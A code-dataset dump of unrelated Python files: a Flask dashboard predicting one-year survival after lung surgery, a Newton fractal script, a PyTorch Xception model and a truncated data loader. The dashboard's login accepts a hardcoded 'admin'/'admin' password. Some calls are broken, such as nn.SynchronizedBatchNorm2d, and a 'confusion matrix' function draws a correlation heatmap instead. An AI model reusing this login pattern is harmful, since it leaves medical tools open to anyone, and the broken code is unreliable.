first\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef app_login():\r\n error = None\r\n if request.method == 'POST':\r\n if request.form['username'] != 'admin' or request.form['password'] != 'admin':\r\n error = \"You must be an employee to access this dashboard!\\n\" \\\r\n \"Please try again.\"\r\n else:\r\n return redirect(url_for('generate_dashboard'))\r\n return render_template('login.html', error=error)\r\n\r\n\r\n@app.route('/main', methods=['POST', 'GET'])\r\ndef generate_dashboard():\r\n # Data Visualization: Patient Age Histogram\r\n age_plot = ''\r\n if len(patient_df) > 0:\r\n age_plot_url = get_encoded_hist(patient_df)\r\n age_plot = Markup('<img src=\"data:image/png;base64,{}\" width: 360px, height: 288px>'.format(age_plot_url))\r\n\r\n # Data Visualization: Tumor Size Affect on Survival KDE Plot\r\n tnm_plot = ''\r\n if len(patient_df) > 0:\r\n tnm_plot_url = get_encoded_kde(patient_df)\r\n tnm_plot = Markup('<img src=\"data:image/png;base64,{}\" width: 360px, height: 288px>'.format(tnm_plot_url))\r\n\r\n # Data Visualization: Correlation Heatmap\r\n heatmap = ''\r\n if len(patient_df) > 0:\r\n heatmap_url = get_encoded_heatmap(patient_df)\r\n heatmap = Markup('<img src=\"data:image/png;base64,{}\" width: 360px, height: 288px>'.format(heatmap_url))\r\n\r\n # Displays the index page with the data visualizations when website is loaded\r\n if request.method == 'GET':\r\n return render_template('index.html',\r\n age_plot=age_plot,\r\n tnm_plot=tnm_plot,\r\n heatmap=heatmap)\r\n\r\n # Collects user input data, makes prediction and returns result of prediction\r\n if request.method == 'POST':\r\n diagnosis = request.form['Diagnosis']\r\n fvc = request.form['FVC']\r\n pain = request.form['Pain']\r\n hae = request.form['Hae']\r\n dys = request.form['Dys']\r\n weak = request.form['Weak']\r\n tnm = request.form['TNM']\r\n t2diab = request.form['T2Diab']\r\n pad = request.form['PAD']\r\n smoker = request.form['Smoker']\r\n\r\n # Convert user input into DataFrame\r\n input_vals = pd.DataFrame([[diagnosis, fvc, pain, hae, dys, weak, tnm, t2diab, pad, smoker]],\r\n columns=['Diagnosis', 'FVC', 'Pain', 'Hae', 'Dys', 'Weak', 'TNM', 'T2Diab', 'PAD',\r\n 'Smoker'])\r\n\r\n # Use machine learning model to predict patient outcome\r\n prediction = pred_model.predict_proba(input_vals)[:, 0]\r\n\r\n # Formatting result to display as % with 2 decimal places\r\n pred_percent = str(prediction).lstrip('[').rstrip(']')\r\n float_pred = float(pred_percent) * 100\r\n formatted_prediction = round(float_pred, 2)\r\n\r\n # Classify patient outcome [0-lives, 1-dies]\r\n classification = pred_model.predict(input_vals)\r\n if classification == 0:\r\n classification = \"Prediction: Patient will be alive 1 year post surgery.\"\r\n elif classification == 1:\r\n classification = \"Prediction: Patient will not be alive 1 year post surgery.\"\r\n\r\n # Generate F1 Score and Confusion Matrix for the prediction model\r\n ml_df = patient_df.drop(columns=['FEV', 'PerfStat', 'Cough', 'MI', 'Asthma', 'Age'])\r\n X = ml_df.drop(\"Target\", axis=1)\r\n y = ml_df[\"Target\"]\r\n X_scaled = StandardScaler().fit_transform(X)\r\n np.random.seed(42)\r\n X_train, X_test, y_train, y_test = train_test_split(X_scaled,\r\n y,\r\n stratify=y,\r\n test_size=0.3)\r\n\r\n pred_model.fit(X_train, y_train)\r\n y_pred = pred_model.predict(X_test)\r\n\r\n # Calculate F1 Score\r\n accuracy = f1_score(y_test, y_pred, average=\"micro\")\r\n avg_accuracy = round(accuracy * 100, 2)\r\n print(\"F1 Score:\", avg_accuracy, \"%\")\r\n\r\n return render_template('index.html',\r\n scroll='prediction',\r\n original_input={'Diagnosis': diagnosis,\r\n 'FVC': fvc,\r\n 'Pain': pain,\r\n 'Hae': hae,\r\n 'Dys': dys,\r\n 'Weak': weak,\r\n 'TNM': tnm,\r\n 'T2Diab': t2diab,\r\n 'PAD': pad,\r\n 'Smoker': smoker},\r\n age_plot=age_plot,\r\n tnm_plot=tnm_plot,\r\n heatmap=heatmap,\r\n result=formatted_prediction,\r\n classification=classification,\r\n avg_accuracy=avg_accuracy)\r\n\r\n\r\n@app.route('/')\r\ndef get_cleaned_data():\r\n # Loads the clean dataset and drops the first column\r\n global patient_df\r\n surgery_df = pd.read_csv('data/clean-surgery-data.csv')\r\n patient_df = surgery_df.drop(columns=['Unnamed: 0'])\r\n\r\n\r\ndef get_encoded_hist(df):\r\n # Take in loaded DataFrame and create a histogram\r\n fig, ax = plt.subplots()\r\n ax.hist(df[\"Age\"], bins=25, histtype='stepfilled', color=\"skyblue\", ec=\"w\")\r\n plt.title('Age of Patients')\r\n plt.xlabel('Ages')\r\n plt.ylabel('Patients')\r\n plt.grid()\r\n\r\n # Encode the histogram\r\n img = io.BytesIO()\r\n plt.savefig(img, format='png')\r\n img.seek(0)\r\n age_plot_url = base64.b64encode(img.getvalue()).decode()\r\n return age_plot_url\r\n\r\n\r\ndef get_encoded_kde(df):\r\n # Take in loaded DataFrame and create a KDE plot\r\n # Split df into survivors & non-survivors\r\n survivors = df[df[\"Target\"] == 0]\r\n non_survivors = df[df[\"Target\"] == 1]\r\n\r\n y = survivors[\"TNM\"]\r\n z = non_survivors[\"TNM\"]\r\n\r\n np.random.seed(42)\r\n sns.kdeplot(y, shade=True, color='#fdb147', label='Patient Lives')\r\n sns.kdeplot(z, shade=True, color='#ff6f52', label='Patient Dies')\r\n\r\n plt.title('Patient Outcome by Tumor Size')\r\n plt.xlabel('Tumor Size')\r\n plt.xlim([0.1, 4.9])\r\n plt.ylim([0.0, 1.2])\r\n\r\n # Encode the KDE plot\r\n img = io.BytesIO()\r\n plt.savefig(img, format='png')\r\n img.seek(0)\r\n tnm_plot_url = base64.b64encode(img.getvalue()).decode()\r\n return tnm_plot_url\r\n\r\n\r\ndef get_encoded_heatmap(df):\r\n # Take in loaded DataFrame and create a histogram\r\n corr_matrix = df.corr()\r\n fig, ax = plt.subplots(figsize=(9, 5))\r\n ax = sns.heatmap(corr_matrix,\r\n annot=True,\r\n linewidth=0.1,\r\n fmt=\".2f\",\r\n cmap=\"Spectral_r\")\r\n ax.figure.tight_layout()\r\n plt.title(\"Correlation Heatmap\")\r\n\r\n # Encode the heatmap\r\n img = io.BytesIO()\r\n plt.savefig(img, format='png')\r\n img.seek(0)\r\n heatmap_url = base64.b64encode(img.getvalue()).decode()\r\n return heatmap_url\r\n\r\n\r\ndef get_encoded_confusion_matrix(df):\r\n # Take in loaded DataFrame and create a histogram\r\n corr_matrix = df.corr()\r\n fig, ax = plt.subplots(figsize=(9, 5))\r\n ax = sns.heatmap(corr_matrix,\r\n annot=True,\r\n linewidth=0.1,\r\n fmt=\".2f\",\r\n cmap=\"Spectral_r\")\r\n ax.figure.tight_layout()\r\n plt.title(\"Confusion Matrix\")\r\n\r\n # Encode the heatmap\r\n img = io.BytesIO()\r\n plt.savefig(img, format='png')\r\n img.seek(0)\r\n confusion_url = base64.b64encode(img.getvalue()).decode()\r\n return confusion_url\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 8719, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 16, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}, {"api_name": "markupsafe.Markup", "line_number": 49, "usage_type": "call"}, {"api_name": "markupsafe.Markup", "line_number": 55, "usage_type": "call"}, {"api_name": "markupsafe.Markup", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 75, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 76, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 84, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 108, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 109, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 176, "usage_type": "attribute"}, {"api_name": "seaborn.kdeplot", "line_number": 177, "usage_type": "call"}, {"api_name": "seaborn.kdeplot", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 216, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 216, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 229, "usage_type": "call"}]} {"seq_id": "203576370", "text": "from __future__ import division\nimport numpy\nimport matplotlib.pyplot as pyplot\n\nUSER = \"Stephen Daly\"\nUSER_ID = \"kwlt75\"\n\ndef f(z):\n return z**4 - 1\n\ndef f_prime(z):\n return 4 * z**3\n\ndef newton_method(z0):\n max_iter = 40\n z = z0\n register = [0]\n roots = 0\n n_iterations = 0\n for i in range(max_iter):\n prime = f_prime(z)\n if prime == 0:\n prime = 0.000000000000000001\n z = z - f(z) / prime\n if z == register.pop():\n roots = z\n n_iterations = i -1\n\n break\n register.append(z)\n return roots, n_iterations \n\ndef make_colour_map(x0, x1, y0, y1):\n y_axis = numpy.arange(y0, y1, (y1-y0)/200)\n x_axis = numpy.arange(x0, x1, (x1-x0)/200)\n dat = numpy.zeros((len(y_axis), len(x_axis)))\n dat1 = numpy.zeros((len(y_axis), len(x_axis)))\n for iy, y in enumerate(y_axis):\n for ix, x in enumerate(x_axis):\n newton = newton_method(x + y * 1j)\n roots = newton[0]\n n_iterations = newton[1]\n dat[iy, ix] = n_iterations \n if roots == -1:\n dat1[iy, ix] = 1\n if roots == 1:\n dat1[iy, ix] = 2\n if roots == -1j:\n dat1[iy, ix] = 3\n if roots == 1j:\n dat1[iy, ix] = 4\n return dat, dat1\n\npyplot.figure(figsize=(9, 12), dpi=100)\nzoom1 = make_colour_map(-2, 2, -2, 2)\npyplot.subplot(321)\nim = pyplot.imshow( zoom1[1], extent=(-2, 2, -2, 2), origin='lower')\npyplot.subplot(322)\nim = pyplot.imshow( zoom1[0], extent=(-2, 2, -2, 2), origin='lower')\nzoom2 = make_colour_map(0.4, 0.5, 0.4, 0.5)\npyplot.subplot(323)\nim = pyplot.imshow( zoom2[1], extent=(0.4, 0.5, 0.4, 0.5), origin='lower')\npyplot.subplot(324)\nim = pyplot.imshow( zoom2[0], extent=(0.4, 0.5, 0.4, 0.5), origin='lower')\nzoom3 = make_colour_map(0.442, 0.444, 0.442, 0.444)\npyplot.subplot(325)\nim = pyplot.imshow( zoom3[1], extent=(0.442, 0.444, 0.442, 0.444), origin='lower')\npyplot.subplot(326)\nim = pyplot.imshow( zoom3[0], extent=(0.442, 0.444, 0.442, 0.444), origin='lower')\n##pyplot.show()\npyplot.savefig('fractals.png') \n \n\n\n \n", "sub_path": "weekly_problems/fractals.py", "file_name": "fractals.py", "file_ext": "py", "file_size_in_byte": 2249, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.arange", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}]} {"seq_id": "183173398", "text": "\"\"\" \nPorted to pytorch thanks to [tstandley](https://github.com/tstandley/Xception-PyTorch)\n@author: tstandley\nAdapted by cadene\nCreates an Xception Model as defined in:\nFrancois Chollet\nXception: Deep Learning with Depthwise Separable Convolutions\nhttps://arxiv.org/pdf/1610.02357.pdf\nThis weights ported from the Keras implementation. Achieves the following performance on the validation set:\nLoss:0.9173 Prec@1:78.892 Prec@5:94.292\nREMEMBER to set your image size to 3x299x299 for both test and validation\nnormalize = transforms.Normalize(mean=[0.5, 0.5, 0.5],\n std=[0.5, 0.5, 0.5])\nThe resize parameter of the validation transform should be 333, and make sure to center crop at 299x299\n\"\"\"\nimport math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.model_zoo as model_zoo\nfrom torch.nn import init\nfrom net.sync_batchnorm import SynchronizedBatchNorm2d\n\n__all__ = ['xception']\n\nmodel_urls = {\n 'xception': 'http://data.lip6.fr/cadene/pretrainedmodels/xception-b5690688.pth'\n}\n\nclass SeparableConv2d(nn.Module):\n def __init__(self,in_channels,out_channels,kernel_size=1,stride=1,padding=0,dilation=1,bias=False):\n super(SeparableConv2d,self).__init__()\n\n self.conv1 = nn.Conv2d(in_channels,in_channels,kernel_size,stride,padding,dilation,groups=in_channels,bias=bias)\n self.pointwise = nn.Conv2d(in_channels,out_channels,1,1,0,1,1,bias=bias)\n \n def forward(self,x):\n x = self.conv1(x)\n x = self.pointwise(x)\n return x\n\n\nclass Block(nn.Module):\n def __init__(self,in_filters,out_filters,reps,strides=1,start_with_relu=True,grow_first=True):\n super(Block, self).__init__()\n\n if out_filters != in_filters or strides!=1:\n self.skip = nn.Conv2d(in_filters,out_filters,1,stride=strides, bias=False)\n self.skipbn = nn.SynchronizedBatchNorm2d(out_filters)\n else:\n self.skip=None\n \n self.relu = nn.ReLU(inplace=True)\n rep=[]\n\n filters=in_filters\n if grow_first:\n rep.append(self.relu)\n rep.append(SeparableConv2d(in_filters,out_filters,3,stride=1,padding=1,bias=False))\n rep.append(nn.SynchronizedBatchNorm2d(out_filters))\n filters = out_filters\n\n for i in range(reps-1):\n rep.append(self.relu)\n rep.append(SeparableConv2d(filters,filters,3,stride=1,padding=1,bias=False))\n rep.append(nn.SynchronizedBatchNorm2d(filters))\n \n if not grow_first:\n rep.append(self.relu)\n rep.append(SeparableConv2d(in_filters,out_filters,3,stride=1,padding=1,bias=False))\n rep.append(nn.SynchronizedBatchNorm2d(out_filters))\n\n if not start_with_relu:\n rep = rep[1:]\n else:\n rep[0] = nn.ReLU(inplace=False)\n\n if strides != 1:\n rep.append(nn.MaxPool2d(3,strides,1))\n self.rep = nn.Sequential(*rep)\n\n def forward(self,inp):\n x = self.rep(inp)\n\n if self.skip is not None:\n skip = self.skip(inp)\n skip = self.skipbn(skip)\n else:\n skip = inp\n\n x+=skip\n return x\n\n\nclass Xception(nn.Module):\n \"\"\"\n Xception optimized for the ImageNet dataset, as specified in\n https://arxiv.org/pdf/1610.02357.pdf\n \"\"\"\n def __init__(self):\n \"\"\" Constructor\n Args:\n num_classes: number of classes\n \"\"\"\n super(Xception, self).__init__()\n\n self.conv1 = nn.Conv2d(3, 32, 3,2, 0, bias=False)\n self.bn1 = nn.SynchronizedBatchNorm2d(32)\n self.relu = nn.ReLU(inplace=True)\n\n self.conv2 = nn.Conv2d(32,64,3,bias=False)\n self.bn2 = nn.SynchronizedBatchNorm2d(64)\n #do relu here\n\n self.block1=Block(64,128,2,2,start_with_relu=False,grow_first=True)\n self.block2=Block(128,256,2,2,start_with_relu=True,grow_first=True)\n self.block3=Block(256,728,2,2,start_with_relu=True,grow_first=True)\n\n self.block4=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block5=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block6=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block7=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n\n self.block8=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block9=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block10=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block11=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n\n self.block12=Block(728,1024,2,2,start_with_relu=True,grow_first=False)\n\n self.conv3 = SeparableConv2d(1024,1536,3,1,1)\n self.bn3 = nn.SynchronizedBatchNorm2d(1536)\n\n #do relu here\n self.conv4 = SeparableConv2d(1536,2048,3,1,1)\n self.bn4 = nn.SynchronizedBatchNorm2d(2048)\n self.layers = []\n\n # #------- init weights --------\n # for m in self.modules():\n # if isinstance(m, nn.Conv2d):\n # n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n # m.weight.data.normal_(0, math.sqrt(2. / n))\n # elif isinstance(m, nn.SynchronizedBatchNorm2d):\n # m.weight.data.fill_(1)\n # m.bias.data.zero_()\n # #-----------------------------\n\n def forward(self, input):\n self.layers = []\n x = self.conv1(input)\n x = self.bn1(x)\n x = self.relu(x)\n #self.layers.append(x)\n \n x = self.conv2(x)\n x = self.bn2(x)\n x = self.relu(x)\n \n x = self.block1(x)\n self.layers.append(x)\n x = self.block2(x)\n self.layers.append(x)\n x = self.block3(x)\n x = self.block4(x)\n x = self.block5(x)\n x = self.block6(x)\n x = self.block7(x)\n x = self.block8(x)\n x = self.block9(x)\n x = self.block10(x)\n x = self.block11(x)\n self.layers.append(x)\n x = self.block12(x)\n \n x = self.conv3(x)\n x = self.bn3(x)\n x = self.relu(x)\n \n x = self.conv4(x)\n x = self.bn4(x)\n x = self.relu(x)\n self.layers.append(x)\n\n return x\n\n def get_layers(self):\n return self.layers\n\ndef xception(pretrained=True):\n model = Xception()\n if pretrained:\n old_dict = model_zoo.load_url(model_urls['xception'])\n model_dict = model.state_dict()\n old_dict = {k: v for k,v in old_dict.items() if (k in model_dict)}\n model_dict.update(old_dict)\n model.load_state_dict(model_dict) \n\n return model\n", "sub_path": "libs/pytorch-deeplab-xception/net/xception.py", "file_name": "xception.py", "file_ext": "py", "file_size_in_byte": 6710, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn.Module", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 80, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 95, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 109, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 111, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 132, "usage_type": "name"}, {"api_name": "torch.nn.SynchronizedBatchNorm2d", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 136, "usage_type": "name"}, {"api_name": "torch.utils.model_zoo.load_url", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.utils.model_zoo", "line_number": 193, "usage_type": "name"}]} {"seq_id": "100101437", "text": "import numpy as np\nfrom scipy.optimize import fsolve\nfrom scipy.integrate import odeint\n# import seaborn as sns\nimport pandas as pd\nimport pathlib\nimport collections\nimport h5py\nimport os\n\ndef get_data():\n\n wt_folder = '/nas/longleaf/home/sksuzuki/HOG_model/data/MAPK activation/WT'\n t100a_folder = '/nas/longleaf/home/sksuzuki/HOG_model/data/MAPK activation/T100A'\n pbs2_folder = '/nas/longleaf/home/sksuzuki/HOG_model/data/MAPK activation/Pbs2'\n pbs2_t100a_folder = '/nas/longleaf/home/sksuzuki/HOG_model/data/MAPK activation/Pbs2_T100A'\n hog1_ramp_folder = '/nas/longleaf/home/sksuzuki/HOG_model/data/MAPK activation/ramp_1'\n ptpD_folder = '/nas/longleaf/home/sksuzuki/HOG_model/data/MAPK activation/ptpD'\n # wt_folder = 'C:/Users/sksuzuki/Desktop/killdevil/data/MAPK activation/WT'\n # t100a_folder = 'C:/Users/sksuzuki/Desktop/killdevil/data/MAPK activation/T100A'\n # pbs2_folder = 'C:/Users/sksuzuki/Desktop/killdevil/data/MAPK activation/Pbs2'\n # pbs2_t100a_folder = 'C:/Users/sksuzuki/Desktop/killdevil/data/MAPK activation/Pbs2_T100A'\n # hog1_ramp_folder = 'C:/Users/sksuzuki/Desktop/killdevil/data/MAPK activation/ramp_1'\n # ptpD_folder = 'C:/Users/sksuzuki/Desktop/killdevil/data/MAPK activation/ptpD'\n\n mapk_time, mapk_wt_data = load_csv_data(wt_folder)\n mapk_time, mapk_t100a_data = load_csv_data(t100a_folder)\n # mapk_data_t100a_long = [mapk_t100a_data[0]]\n mapk_time_t100a_long = [0, 2, 